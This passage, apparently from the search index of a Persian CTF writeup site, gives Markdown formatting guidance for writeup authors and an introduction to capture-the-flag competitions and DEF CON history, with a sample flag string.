","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_13","title":"\u0646\u0645\u0627\u06cc\u0634 \u062c\u062f\u0648\u0644","text":"

\u062f\u0631 \u0646\u0648\u0634\u062a\u0647 \u062e\u0648\u062f \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u062c\u062f\u0648\u0644 \u0645\u0627\u0646\u0646\u062f \u0646\u0645\u0648\u0646\u0647 \u0632\u06cc\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a \u0628\u0631\u0627\u06cc \u0633\u0627\u062e\u062a \u062c\u062f\u0648\u0644 \u0628\u0647 \u0634\u0645\u0627 \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0633\u0639\u06cc \u06a9\u0646\u06cc\u062f \u062c\u062f\u0648\u0644 \u0631\u0627 \u0628\u0627 \u062a\u06af center \u0648\u0633\u0637\u200c\u0686\u06cc\u0646 \u06a9\u0646\u06cc\u062f.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown

Right Left Default Center Method \u062a\u0627\u06cc\u06cc\u062f\u06cc\u0647 12 12 12 12 GET 123 123 123 123 PUT 1 1 1 1 DELETE

    <center>\n\n    | Right | Left | Default | Center | Method  |       \u062a\u0627\u06cc\u06cc\u062f\u06cc\u0647       |\n    |------:|:-----|---------|:------:|:-------:|:--------------------:|\n    |   12  |  12  |    12   |    12  | `GET`   | :material-check:     |\n    |  123  |  123 |   123   |   123  | `PUT`   | :material-check-all: |\n    |    1  |    1 |     1   |     1  | `DELETE`| :material-close:     |\n\n    </center>     \n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_14","title":"\u0646\u0645\u0627\u06cc\u0634 \u062a\u0635\u0627\u0648\u06cc\u0631","text":"

\u062a\u0635\u0627\u0648\u06cc\u0631 \u0631\u0627 \u0646\u06cc\u0632 \u0645\u0627\u0646\u0646\u062f \u062c\u062f\u0648\u0644 \u062f\u0631 \u062a\u06af center \u0642\u0631\u0627\u0631 \u062f\u0647\u06cc\u062f \u062a\u0627 \u0647\u0646\u06af\u0627\u0645 \u0646\u0645\u0627\u06cc\u0634 \u0648\u0633\u0637\u200c\u0686\u06cc\u0646 \u0628\u0627\u0634\u062f \u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06a9\u0647 \u0641\u0627\u06cc\u0644 \u062a\u0635\u0648\u06cc\u0631 \u062e\u0648\u062f \u0631\u0627 \u0647\u0645\u0631\u0627\u0647 \u0628\u0627 \u0641\u0627\u06cc\u0644 \u0645\u0627\u0631\u06a9\u062f\u0627\u0648\u0646 (md.*) \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u06cc\u062f.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown

<center>\n![FlagMotori](/logo_template.png)\n</center>\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_15","title":"\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0645\u0648\u062c\u06cc","text":"

\u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0627 \u062a\u0627\u06cc\u067e \u06a9\u0631\u062f\u0646 \u0646\u0627\u0645 \u0627\u06cc\u0645\u0648\u062c\u06cc \u0628\u06cc\u0646 \u062f\u0648 \u0639\u0644\u0627\u0645\u062a \u062f\u0648 \u0646\u0642\u0637\u0647 (:EMOJICODE:) \u0627\u06cc\u0645\u0648\u062c\u06cc\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0631\u0627 \u0628\u0647 \u0646\u0648\u0634\u062a\u0647 \u062e\u0648\u062f \u0627\u0636\u0627\u0641\u0647 \u06a9\u0646\u06cc\u062f. \u0646\u0627\u0645 \u0627\u06cc\u0646 \u0627\u06cc\u0645\u0648\u062c\u06cc\u200c\u0647\u0627 \u0628\u0631\u0627\u0633\u0627\u0633 \u0627\u06cc\u0645\u0648\u062c\u06cc\u200c\u0647\u0627\u06cc \u0645\u062a\u0646 \u0628\u0627\u0632 \u062a\u0648\u06cc\u06cc\u062a\u0631 Twemoji \u0627\u0633\u062a.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown

:smile:\n:triangular_flag_on_post:\n:writing_hand: \n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_16","title":"\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0646\u0648\u0627\u0639 \u0644\u06cc\u0633\u062a","text":"

\u06af\u0627\u0647\u06cc \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0646\u0648\u0634\u062a\u0647 \u062e\u0648\u062f \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0644\u06cc\u0633\u062a \u06a9\u0631\u062f\u0646 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0646\u06a9\u0627\u062a \u06cc\u0627 \u06a9\u0627\u0631\u0647\u0627 \u0631\u0627 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f. \u0627\u06cc\u0646 \u0644\u06cc\u0633\u062a\u200c\u0647\u0627 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062a\u0631\u062a\u06cc\u0628\u06cc\u060c \u063a\u06cc\u0631\u062a\u0631\u062a\u06cc\u0628\u06cc \u06cc\u0627 \u062a\u0631\u06a9\u06cc\u0628\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u062f\u0648 \u0645\u062f\u0644 \u0628\u0627\u0634\u0646\u062f. \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0633\u0647 \u0646\u0648\u0639 \u0646\u0645\u0627\u06cc\u0634 \u0644\u06cc\u0633\u062a \u06a9\u0647 \u062a\u0648\u0633\u0637 \u0641\u0631\u0645\u062a Markdown \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f \u0631\u0627 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u06cc\u0645.

","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_17","title":"\u0644\u06cc\u0633\u062a \u062a\u0631\u062a\u06cc\u0628\u06cc:","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown
  1. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9
    1. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u06cc\u06a9
    2. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u062f\u0648
      1. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u062f\u0648 \u06cc\u06a9
      2. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u062f\u0648 \u062f\u0648
  2. \u0634\u0645\u0627\u0631\u0647 \u062f\u0648
    1.  \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9\n        1.  \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u06cc\u06a9\n        2.  \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u062f\u0648\n            1. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u062f\u0648 \u06cc\u06a9 \n            2. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u062f\u0648 \u062f\u0648  \n    2.  \u0634\u0645\u0627\u0631\u0647 \u062f\u0648\n        - \u0627\u0648\u0644 \n        - \u062f\u0648\u0645\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_18","title":"\u0644\u06cc\u0633\u062a \u063a\u06cc\u0631\u062a\u0631\u062a\u06cc\u0628\u06cc:","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown
    - \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9\n        - \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u06cc\u06a9\n            - \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u06cc\u06a9 \u06cc\u06a9\n    - \u0634\u0645\u0627\u0631\u0647 \u062f\u0648\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_19","title":"\u0644\u06cc\u0633\u062a \u0648\u0638\u0627\u06cc\u0641:","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown
    - [x] \u0648\u0638\u06cc\u0641\u0647 \u06cc\u06a9 \u0627\u0646\u062c\u0627\u0645 \u0634\u062f\u0647\n    - [ ]  \u0648\u0637\u06cc\u0641\u0647 \u062f\u0648 \u06a9\u0627\u0645\u0644 \u0627\u0646\u062c\u0627\u0645 \u0646\u0634\u062f\u0647\n        * [x] \u0648\u0638\u06cc\u0641\u0647 \u062f\u0648 \u0627\u0648\u0644 \n        * [ ] \u0648\u0638\u06cc\u0641\u0647 \u062f\u0648 \u062f\u0648\n    - [ ] \u0648\u0638\u06cc\u0641\u0647 \u0633\u0647\n

\u0627\u06cc\u0646 \u062a\u0646\u0647\u0627 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u0641\u0631\u0645\u062a \u0646\u0648\u0634\u062a\u0627\u0631\u06cc md \u0628\u0648\u062f \u06a9\u0647 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0627\u0634\u0627\u0631\u0647 \u0634\u062f\u060c \u0627\u06af\u0631\u0686\u0647 \u0645\u0648\u0627\u0631\u062f \u0627\u0634\u0627\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0631\u0627\u06cc \u0646\u06af\u0627\u0631\u0634 \u06cc\u06a9 \u0631\u0627\u06cc\u062a\u0627\u067e \u06a9\u0627\u0641\u06cc \u0627\u0633\u062a \u0627\u0645\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0631\u0627\u06cc \u062c\u0632\u0626\u06cc\u0627\u062a \u0628\u06cc\u0634\u062a\u0631 \u062f\u0631 \u0645\u0648\u0631\u062f \u0627\u06cc\u0646 \u0641\u0631\u0645\u062a \u0628\u0647 \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a \u0633\u0631 \u0628\u0632\u0646\u06cc\u062f.

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

\u062a\u06cc\u0645 FlagMotori

","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/writing-method/","title":"\u0646\u06af\u0627\u0631\u0634 \u0631\u0627\u06cc\u062a\u0627\u067e","text":"

\u0634\u0627\u06cc\u062f \u0628\u0631\u0627\u06cc \u0634\u0645\u0627 \u0633\u0648\u0627\u0644 \u0634\u0648\u062f \u06a9\u0647 writeup \u0686\u06cc\u0633\u062a \u0648 \u0646\u0648\u0634\u062a\u0646 \u0622\u0646 \u0686\u0647 \u062a\u0627\u062b\u06cc\u0631\u06cc \u062e\u0648\u0627\u0647\u062f \u062f\u0627\u0634\u062a. writeup \u06cc\u0627 \u0645\u0639\u0627\u062f\u0644 \u0641\u0627\u0631\u0633\u06cc \u0622\u0646 \"\u0646\u06af\u0627\u0634\u062a\u0647 \u06cc\u0627 \u0646\u0648\u0634\u062a\u0647\" \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u060c \u06af\u0632\u0627\u0631\u0634\u06cc \u0627\u0632 \u0646\u062d\u0648\u0647 \u062d\u0644 \u0645\u0633\u0626\u0644\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u06af\u0627\u0645 \u0628\u0647 \u06af\u0627\u0645 \u0631\u0648\u06cc\u062f\u0627\u062f\u0647\u0627 \u0648 \u0622\u0632\u0645\u0627\u06cc\u0634\u0627\u062a \u062e\u0648\u062f \u0631\u0627 \u0628\u0631\u0627\u06cc \u062d\u0644 \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u06cc\u0627\u0646 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06cc\u0646 \u06af\u0632\u0627\u0631\u0634 \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u06a9\u0647 \u06a9\u0645\u06a9 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0628\u0647 \u062e\u0648\u0627\u0646\u0646\u062f\u06af\u0627\u0646 \u0648 \u0627\u0641\u0632\u0627\u06cc\u0634 \u062a\u062c\u0631\u0628\u0647 \u0622\u0646\u200c\u0647\u0627 \u062f\u0631 \u062d\u0644 \u0645\u0633\u0627\u0626\u0644 \u062c\u062f\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0627\u0639\u062b \u0627\u0641\u0632\u0627\u06cc\u0634 \u062f\u0631\u06a9 \u062e\u0648\u062f \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0627\u0632 \u0622\u0646 \u0686\u0627\u0644\u0634 \u0646\u06cc\u0632 \u0634\u0648\u062f.

\u0627\u06cc\u0646 \u0628\u062e\u0634 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0646\u06a9\u0627\u062a \u0646\u06af\u0627\u0631\u0634\u06cc \u062f\u0631 \u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc \u062a\u0648\u0633\u0637 \u062a\u06cc\u0645 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u0645\u06cc\u200c\u0634\u0648\u062f \u062a\u0627 \u0646\u0648\u0634\u062a\u0647\u200c\u0647\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u06cc\u06a9 \u0634\u06a9\u0644\u060c \u0645\u0646\u0638\u0645 \u0648 \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f \u0627\u0631\u0627\u0626\u0647 \u0634\u0648\u0646\u062f. \u0628\u0631\u0627\u06cc \u0646\u06af\u0627\u0631\u0634\u060c \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0628\u0627\u06cc\u062f \u0627\u0632 \u0641\u0631\u0645\u062a \u0627\u06cc\u062c\u0627\u062f \u0645\u062a\u0646 Markdown \u06cc\u0627 \u0628\u0647 \u0627\u062e\u062a\u0635\u0627\u0631 md \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u062f \u06a9\u0647 \u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634 \u062f\u0631 \u0627\u06cc\u0646 \u0641\u0631\u0645\u062a \u0647\u0645\u0631\u0627\u0647 \u0628\u0627 \u0639\u0646\u0627\u0635\u0631 \u0622\u0646 \u0648 \u0645\u062b\u0627\u0644 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u062a\u0648\u0636\u06cc\u062d \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u0644\u0628\u062a\u0647 \u0628\u0627 \u062e\u0648\u0627\u0646\u062f\u0646 \u0686\u0646\u062f \u0631\u0627\u06cc\u062a\u0627\u067e \u0642\u0627\u0644\u0628 \u0646\u0648\u0634\u062a\u0627\u0631\u06cc \u0645\u0646\u0627\u0633\u0628 \u0631\u0627 \u0645\u062a\u0648\u062c\u0647 \u062e\u0648\u0627\u0647\u06cc\u062f \u0634\u062f. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644 \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u06a9\u0647 \u0645\u0648\u0627\u0631\u062f \u0632\u06cc\u0631 \u0631\u0627 \u062f\u0631 \u0647\u0646\u06af\u0627\u0645 \u0646\u06af\u0627\u0631\u0634 \u0646\u0648\u0634\u062a\u0647\u200c\u06cc \u062e\u0648\u062f \u0644\u062d\u0627\u0638 \u06a9\u0646\u06cc\u062f:

~~~~~~ primes \u060cFactorization \u060cRSA \u060cCrypto \u060cASIS-2023 \u060cASIS-CTF

","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown"]},{"location":"getStarted/CTF-introduction/","title":"\u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0641\u062a\u062d \u067e\u0631\u0686\u0645 (CTF)","text":"

\u0645\u0637\u0627\u0644\u0639\u0647 \u0648 \u062a\u062d\u0642\u06cc\u0642 \u0628\u0647 \u062a\u0646\u0647\u0627\u06cc\u06cc \u0628\u0631\u0627\u06cc \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0648 \u06a9\u0633\u0628 \u0645\u0647\u0627\u0631\u062a \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u06af\u0627\u0647\u06cc \u062e\u0633\u062a\u0647\u200c \u06a9\u0646\u0646\u062f\u0647 \u0628\u0627\u0634\u062f. \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0627 \u06cc\u06a9\u06cc \u0627\u0632 \u0647\u06cc\u062c\u0627\u0646\u06cc\u200c\u062a\u0631\u06cc\u0646 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u06a9\u0633\u0628 \u062f\u0627\u0646\u0634 \u062f\u0631 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0648 \u0647\u06a9 \u06cc\u0639\u0646\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0622\u0634\u0646\u0627 \u0645\u06cc\u200c\u0634\u0648\u06cc\u0645. \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0641\u062a\u062d \u067e\u0631\u0686\u0645 (Capture the Flag) \u06cc\u0627 \u0628\u0647 \u0627\u062e\u062a\u0635\u0627\u0631 CTF\u060c \u06cc\u06a9\u06cc \u0627\u0632 \u062c\u0630\u0627\u0628\u200c\u062a\u0631\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0645\u0647\u0627\u0631\u062a\u06cc\u060c \u062a\u0645\u0631\u06cc\u0646\u06cc \u0648 \u00ab\u0631\u0627\u06cc\u06af\u0627\u0646\u00bb \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0622\u0646 \u0634\u0631\u06a9\u062a\u200c\u06a9\u0646\u0646\u062f\u06af\u0627\u0646 \u062a\u0644\u0627\u0634 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u0645\u062a\u0646\u06cc \u0628\u0647 \u0646\u0627\u0645 \u067e\u0631\u0686\u0645 (Flag) \u0645\u0627\u0646\u0646\u062f \u0632\u06cc\u0631 \u06a9\u0647 \u0628\u0647 \u0634\u06a9\u0644 \u0647\u062f\u0641\u0645\u0646\u062f \u062f\u0631 \u0628\u0631\u0646\u0627\u0645\u0647 \u06cc\u0627 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u067e\u0646\u0647\u0627\u0646 \u0634\u062f\u0647 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u0646\u062f.

Motori{CTF_c0nte5ts_4r3_br4in_7ra1n3r}\n

\u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u0632 \u0628\u0627\u0632\u06cc\u200c\u0647\u0627\u06cc \u0648\u0631\u0632\u0634\u06cc \u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u0627\u0644\u0647\u0627\u0645 \u06af\u0631\u0641\u062a\u0647 \u0634\u062f\u0647 \u0648 \u0645\u0639\u0645\u0648\u0644\u0627 \u062f\u0631 \u06cc\u06a9 \u0628\u0627\u0632\u0647 \u0632\u0645\u0627\u0646\u06cc \u06f2\u06f4 \u062a\u0627 \u06f4\u06f8 \u0633\u0627\u0639\u062a \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u0634\u0631\u06a9\u062a\u200c\u0647\u0627 \u0648 \u062f\u0627\u0646\u0634\u06af\u0627\u0647\u200c\u0647\u0627 \u0628\u0627 \u0647\u062f\u0641 \u06a9\u0634\u0641\u060c \u067e\u0631\u0648\u0631\u0634 \u0648 \u062c\u0630\u0628 \u0627\u0641\u0631\u0627\u062f \u0628\u0627 \u0627\u0633\u062a\u0639\u062f\u0627\u062f \u06cc\u0627 \u062e\u0628\u0631\u0647 \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u0627\u0645\u0646\u06cc\u062a\u060c \u062d\u0627\u0645\u06cc\u0627\u0646 \u0648 \u0628\u0631\u06af\u0632\u0627\u0631\u06a9\u0646\u0646\u062f\u06af\u0627\u0646 \u0627\u0635\u0644\u06cc \u0627\u06cc\u0646 \u0631\u0648\u06cc\u062f\u0627\u062f \u0631\u0627 \u062a\u0634\u06a9\u06cc\u0644 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u06a9\u0647 \u0627\u063a\u0644\u0628 \u062c\u0648\u0627\u06cc\u0632\u06cc \u0631\u0627 \u0646\u06cc\u0632 \u0628\u0631\u0627\u06cc \u0628\u0631\u0646\u062f\u06af\u0627\u0646 \u0622\u0646 \u062f\u0631 \u0646\u0638\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u0646\u062f. \u062f\u0631 \u06a9\u0646\u0627\u0631 \u0627\u06cc\u0646\u060c \u0646\u0647\u0627\u062f\u0647\u0627\u06cc \u0645\u0633\u062a\u0642\u0644\u06cc \u0645\u0627\u0646\u0646\u062f \u062c\u0627\u0645\u0639\u0647\u200c\u06cc \u0647\u06a9\u0631\u0647\u0627 \u0648 \u062f\u0627\u0646\u0634\u062c\u0648\u06cc\u0627\u0646 \u0646\u06cc\u0632 \u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u0631\u0642\u0627\u0628\u062a \u0648 \u06cc\u06a9 \u0633\u0631\u06af\u0631\u0645\u06cc \u0647\u06cc\u062c\u0627\u0646\u200c\u0627\u0646\u06af\u06cc\u0632\u060c \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0631\u0627 \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#ctf_1","title":"\u0645\u0631\u0648\u0631\u06cc \u0628\u0631 \u062a\u0627\u0631\u06cc\u062e\u0686\u0647 CTF","text":"

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0631\u0648\u0631\u06cc \u062a\u0627\u0631\u06cc\u062e\u06cc \u0631\u0648\u06cc \u0628\u0631\u06af\u0632\u0627\u0631\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u0645 \u0628\u0627\u06cc\u062f \u0627\u0628\u062a\u062f\u0627 \u0628\u0627 \u06cc\u06a9\u06cc \u0627\u0632 \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631\u06cc\u0646 \u0648 \u0634\u0627\u06cc\u062f \u0628\u0632\u0631\u06af\u200c\u062a\u0631\u06cc\u0646 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633\u200c\u0647\u0627\u06cc \u0647\u06a9 \u0648 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0628\u0647 \u0646\u0627\u0645 Defcon \u06a9\u0647 \u0647\u0631 \u0633\u0627\u0644\u0647 \u062f\u0631 \u0634\u0647\u0631 \u0644\u0627\u0633 \u0648\u06af\u0627\u0633 \u0622\u0645\u0631\u06cc\u06a9\u0627 \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f \u0622\u0634\u0646\u0627 \u0634\u0648\u06cc\u0645. \u0627\u0645\u0633\u0627\u0644 \u06a9\u0647 \u0633\u06cc\u200c\u0648\u062f\u0648\u0645\u06cc\u0646 \u062f\u0648\u0631\u0647 \u0622\u0646 \u062f\u0631 \u062d\u0627\u0644 \u062b\u0628\u062a\u200c\u0646\u0627\u0645 \u0627\u0633\u062a \u0627\u06cc\u0646 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u0632\u0631\u06af\u200c\u062a\u0631\u06cc\u0646 \u06af\u0631\u062f\u0647\u0645\u0627\u06cc\u06cc \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0634\u0646\u0627\u062e\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0634\u0627\u06cc\u062f \u0634\u0631\u06a9\u062a \u0648 \u0633\u062e\u0646\u0631\u0627\u0646\u06cc \u062f\u0631 \u0622\u0646 \u0622\u0631\u0632\u0648\u06cc \u0647\u0631 \u0647\u06a9\u0631 \u06cc\u0627 \u0639\u0644\u0627\u0642\u0647\u200c\u0645\u0646\u062f \u0628\u0647 \u0627\u0645\u0646\u06cc\u062a \u0628\u0627\u0634\u062f. \u0634\u0631\u06a9\u062a \u06a9\u0646\u0646\u062f\u06af\u0627\u0646 \u0627\u06cc\u0646 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633 \u0634\u0627\u0645\u0644 \u0645\u062a\u062e\u0635\u0635\u0627\u0646 \u0648 \u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u0628\u06cc\u0631\u06cc\u060c \u0631\u0648\u0632\u0646\u0627\u0645\u0647\u200c\u0646\u06af\u0627\u0631\u0627\u0646\u060c \u06a9\u0627\u0631\u0645\u0646\u062f\u0627\u0646 \u062f\u0648\u0644\u062a \u0641\u062f\u0631\u0627\u0644\u060c \u062f\u0627\u0646\u0634\u062c\u0648\u06cc\u0627\u0646 \u0648 \u0647\u06a9\u0631\u0647\u0627 \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u0627\u0632 \u0633\u0631\u0627\u0633\u0631 \u062f\u0646\u06cc\u0627 \u062f\u0648\u0631 \u0647\u0645 \u062c\u0645\u0639 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f \u062a\u0627 \u0622\u062e\u0631\u06cc\u0646 \u062a\u062c\u0631\u0628\u06cc\u0627\u062a \u062e\u0648\u062f \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u0647\u0631 \u0686\u06cc\u0632 \u0642\u0627\u0628\u0644 \u0647\u06a9 \u0631\u0627 \u0628\u0627 \u0647\u0645 \u062f\u0631 \u0645\u06cc\u0627\u0646 \u0628\u06af\u0630\u0627\u0631\u0646\u062f. \u0627\u0648\u0644\u06cc\u0646 \u062f\u0648\u0631\u0647 \u0627\u06cc\u0646 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633 \u062a\u0648\u0633\u0637 \u062c\u0641 \u0645\u0627\u0633 (Jeff Moss) 